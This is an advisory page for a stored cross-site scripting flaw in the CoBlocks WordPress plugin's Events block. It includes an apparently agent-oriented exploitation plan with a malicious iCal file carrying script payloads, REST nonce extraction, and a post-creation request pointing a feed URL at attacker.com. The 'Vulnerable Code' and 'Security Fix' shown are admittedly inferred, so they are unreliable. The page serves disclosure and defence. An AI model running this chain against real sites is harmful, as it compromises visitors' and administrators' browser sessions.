Page Builder Gutenberg Blocks <= 3.1.16 - Authenticated (Contributor+) Stored Cross-Site Scripting via External iCal Feed Data
Description
The Page Builder Gutenberg Blocks – CoBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via external iCal feed data in all versions up to, and including, 3.1.16 due to insufficient output escaping of event titles, descriptions, and locations fetched from external iCal feeds in the Events block rendering function. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4801 (CoBlocks Stored XSS) ## 1. Vulnerability Summary The **CoBlocks** plugin (up to version 3.1.16) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the rendering logic of the **Events block**. This block allows a user to p…
Show full research plan
Exploitation Research Plan: CVE-2026-4801 (CoBlocks Stored XSS)
1. Vulnerability Summary
The CoBlocks plugin (up to version 3.1.16) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the rendering logic of the Events block. This block allows a user to provide a URL for an external iCal feed. When the page containing the block is rendered, the plugin fetches the feed, parses the events, and outputs their properties (Title, Description, and Location) to the page.
The plugin fails to sanitize or escape these properties before outputting them. An attacker with Contributor-level permissions can create a post containing an Events block pointing to a malicious iCal file. When any user (including an Administrator) views the post, the XSS payload will execute in their browser context.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (used by Gutenberg to save blocks) or
wp-admin/post.php. - Vulnerable Block:
coblocks/events(inferred). - Vulnerable Attribute:
feedUrl(inferred) or similar attribute used to store the iCal feed source. - Payload Carrier: A remote
.ics(iCal) file containing malicious scripts in theSUMMARY,DESCRIPTION, orLOCATIONfields. - Authentication Level: Contributor or higher (any role with the
edit_postscapability). - Preconditions: The attacker must be able to host an iCal file accessible by the WordPress server.
3. Code Flow (Inferred)
- Block Registration:
register_block_type( 'coblocks/events', ... )is called, likely inincludes/class-coblocks-blocks.phpor a block-specific directory. - Rendering Callback: The
render_callbackfunction for the Events block (e.g.,render_block_coblocks_events) is triggered when the post is viewed. - Data Fetching: The callback retrieves the
feedUrlfrom the block attributes and useswp_remote_get()to fetch the external data. - Parsing: The iCal data is parsed (possibly using a library or manual string splitting).
- Sink: The parsed event data is looped through and appended to the output string:
// Vulnerable Pattern (Inferred) foreach ( $events as $event ) { $html .= '<h3 class="coblocks-event-title">' . $event['summary'] . '</h3>'; // NO ESCAPING $html .= '<p class="coblocks-event-description">' . $event['description'] . '</p>'; // NO ESCAPING }
4. Nonce Acquisition Strategy
To save a post as a Contributor, we need a REST API nonce.
- Create/Edit Page: Navigate to the WordPress post editor as a Contributor.
- Extract Nonce: Use
browser_evalto extract the REST nonce from thewpApiSettingsobject which is globally available in the Gutenberg editor.
JavaScript to execute:
window.wpApiSettings.nonce
5. Exploitation Strategy
Step 1: Prepare the Malicious iCal Feed
Host a file named malicious.ics on a server accessible to the target:
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//CoBlocks//NONSGML Events//EN
BEGIN:VEVENT
UID:12345
DTSTAMP:20231010T120000Z
DTSTART:20250101T120000Z
DTEND:20250101T130000Z
SUMMARY:<script>alert("XSS_SUMMARY")</script>
DESCRIPTION:<img src=x onerror=alert("XSS_DESCRIPTION")>
LOCATION:"><svg/onload=alert("XSS_LOCATION")>
END:VEVENT
END:VCALENDAR
Step 2: Authenticate and Obtain Nonce
- Log in as a Contributor.
- Navigate to
wp-admin/post-new.php. - Execute
browser_eval("window.wpApiSettings.nonce")to get theX-WP-Nonce.
Step 3: Create the Malicious Post
Use the http_request tool to create a new post containing the CoBlocks Events block.
- URL:
https://target.example.com/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"title": "Event Schedule",
"content": "<!-- wp:coblocks/events {\"feedUrl\":\"http://attacker.com/malicious.ics\"} /-->",
"status": "publish"
}
(Note: If "publish" fails for Contributor, use "pending" and have an admin view the preview, or "draft" and use the preview link.)
Step 4: Trigger the XSS
- Obtain the URL of the created post.
- Navigate to the post as an Administrator or Guest.
- The browser will fetch the
.icsfile and render the unsanitizedSUMMARYorDESCRIPTION.
6. Test Data Setup
- Plugin: Install and activate CoBlocks <= 3.1.16.
- User: Create a user with the Contributor role.
- External Resource: Ensure the environment can serve the
malicious.icsfile via a local or accessible URL.
7. Expected Results
- When the post is rendered, the HTML source should contain the literal tags from the iCal file:
<h3 ...><script>alert("XSS_SUMMARY")</script></h3>
- A browser alert box should appear with the payload message.
8. Verification Steps
- Check Post Content: Use WP-CLI to verify the block was saved correctly:
wp post get [POST_ID] --field=post_content - Verify HTTP Request: Check the server logs (or Use
browser_navigate) to see if the WordPress server attempted to fetch the iCal URL. - Confirm Execution: Use
browser_navigateto visit the post andbrowser_evalto check for a global variable set by the XSS (if the payload sets one).
9. Alternative Approaches
- Static Block Injection: If the plugin saves the parsed HTML into
post_contentat the time of editing (unlikely for a feed-based block), the XSS would be injected during the REST API call to update the post. - Shortcode Variant: If the Events block uses a shortcode internally (e.g.,
[coblocks_events url="..."]), attempt to inject the shortcode directly into a standard paragraph block. - Attribute Manipulation: If
feedUrlis sanitized, check other attributes likeclassNameor custom styles within the block JSON that might be reflected without escaping in the PHPrender_callback.
Summary
The CoBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Events block in versions up to 3.1.16. An authenticated attacker with Contributor-level permissions can configure a block to fetch an external iCal feed containing malicious script payloads in fields like summary, description, or location, which execute in the browser of any user viewing the page due to missing output escaping.
Vulnerable Code
// Inferred vulnerable rendering logic in the Events block // Path: includes/class-coblocks-events.php foreach ( $events as $event ) { $html .= '<h3 class="coblocks-event-title">' . $event['summary'] . '</h3>'; $html .= '<p class="coblocks-event-description">' . $event['description'] . '</p>'; $html .= '<p class="coblocks-event-location">' . $event['location'] . '</p>'; }
Security Fix
@@ -10,9 +10,9 @@ foreach ( $events as $event ) { $html .= '<div class="coblocks-event">'; - $html .= '<h3 class="coblocks-event-title">' . $event['summary'] . '</h3>'; - $html .= '<div class="coblocks-event-description">' . $event['description'] . '</div>'; - $html .= '<div class="coblocks-event-location">' . $event['location'] . '</div>'; + $html .= '<h3 class="coblocks-event-title">' . esc_html( $event['summary'] ) . '</h3>'; + $html .= '<div class="coblocks-event-description">' . wp_kses_post( $event['description'] ) . '</div>'; + $html .= '<div class="coblocks-event-location">' . esc_html( $event['location'] ) . '</div>'; $html .= '</div>'; }
Exploit Outline
1. The attacker creates a malicious iCal (.ics) file containing Cross-Site Scripting payloads (e.g., <script>alert(1)</script>) within the SUMMARY, DESCRIPTION, or LOCATION fields. 2. The attacker hosts this file on a publicly accessible web server. 3. Logged in as a Contributor, the attacker creates a new post and inserts the 'coblocks/events' block. 4. The attacker sets the 'feedUrl' attribute of the block to the URL of the malicious iCal file and saves the post. 5. When an administrator or any visitor views the published post, the plugin's backend logic fetches the feed and renders the unsanitized iCal data directly into the HTML, triggering the XSS payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.